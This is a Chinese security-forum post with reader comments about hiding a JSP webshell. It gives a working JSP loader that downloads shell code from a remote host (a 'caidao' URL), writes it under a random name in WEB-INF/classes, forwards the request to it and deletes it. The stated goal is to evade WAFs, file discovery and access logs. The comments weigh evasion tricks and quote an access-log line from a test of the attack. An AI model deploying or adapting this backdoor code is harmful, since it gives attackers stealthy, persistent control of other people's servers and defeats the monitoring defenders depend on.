我的思路是先从远程读取要生成的shell内容,然后把shell藏在WEB-INF下shell的名字和长度也都随机生成。比如:

把shell藏在WEB-INF下shell的名字和长度也都随机生成

不过就算藏在WEB-INF下也会被发现,干脆用一次就删一次?这样不会在任何目录下留下Shell。

用一次就删一次?

菜刀链接:http://localhost/Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp

<%@ page language="java" import="java.io.*,java.net.*,java.util.*" pageEncoding="UTF-8"%>
<%!
  String getConnection(String url) {
    String result="",line="";
    try {
      URL realUrl = new URL(url);
      URLConnection connection = realUrl.openConnection();
      connection.setConnectTimeout(15000);
      connection.setReadTimeout(15000);
      connection.connect();
      BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
       while ((line = in.readLine()) != null) {
        result += line;
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
    return result;
  }

  void writeShell(String url,String path){
    try{
      RandomAccessFile rf = new RandomAccessFile(path, "rw");
      rf.write(new String(getConnection(url)).getBytes());
      rf.close();
    }catch(Exception e){
      e.printStackTrace();
    }
  }

  String getRandomString(int length) {
      String base = "abcdefghijklmnopqrstuvwxyz0123456789";
      Random random = new Random();
      StringBuffer sb = new StringBuffer();
      for (int i = 0; i < length; i++) {
          int number = random.nextInt(base.length());
          sb.append(base.charAt(number));
      }
      return sb.toString();
   }

  String getRequestFile(HttpServletRequest request){
    return "/WEB-INF/classes/"+getRandomString(new Random().nextInt(10)+1)+".jsp";
   }
%>
<%
  String f = getRequestFile(request),p = request.getSession().getServletContext().getRealPath("/")+f;
   writeShell(request.getParameter("url"),p);
  request.getRequestDispatcher(f).forward(request,response);
  new File(p).delete();
%>

测试的时候还发现了一个jspx和jsp的一个小秘密:

用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。

现在要做的就是怎么去藏生成后门的代码了。

[原文地址]

相关吐槽:

1#

yexin | 2013-10-27 14:24

前排留名。

2#

淡漠天空 (路人的世界) | 2013-10-27 14:30

用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。

这个的确 。。。。。也是不久前发现的

3#

核心白帽子 (发标题党的草泥马) | 2013-10-27 14:36

还不如放一个jsp的一句话上去每次要用的时候上传一个jsp大马 用完了之后将jsp大马删除..

跟你这也没多大区别..看不出这样有什么方便隐藏的优势

4#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-10-27 15:31

@核心白帽子 其实也没什么大的不同,只是记录一下。一点小区别,第一这个后门存在WEB-INF直接请求http://xxx.com/WEB-INF/xxx.jsp请求不到,某些WAF可能不会检查WEB-INF下的jsp。第二accesslog记录。

5#

Coody (&_&) | 2013-10-27 15:56

@园长 accesslog不记录 WEB-INF/ 下的文件访问么?

6#

龙臣 (据说共产党员的老婆更漂亮。) | 2013-10-27 16:02

传错了 忽略之

7#

淡漠天空 (路人的世界) | 2013-10-27 16:18

@园长 国内还好 国外的WEB-INF根本无权限 某些限定环境下是行不通的

8#

淡漠天空 (路人的世界) | 2013-10-27 16:19

WAF的规则决定能不能访问或者动WEB-INF 太局限了。。。

9#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-10-27 17:03

@Coody 请求shell会accesslog会记录下来的完整shell路径请求上面的后门记录的应该是参数。

测试了下Tomcat的Accesslog没有记录getRequestDispatcher forward的地址和参数:

0:0:0:0:0:0:0:1 - - [27/Oct/2013:17:01:42 +0800] "POST /Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp HTTP/1.1" 200 296

10#

wefgod (求大牛指点) | 2013-10-28 08:54

园长之前不是说filter可以?那个好像比较好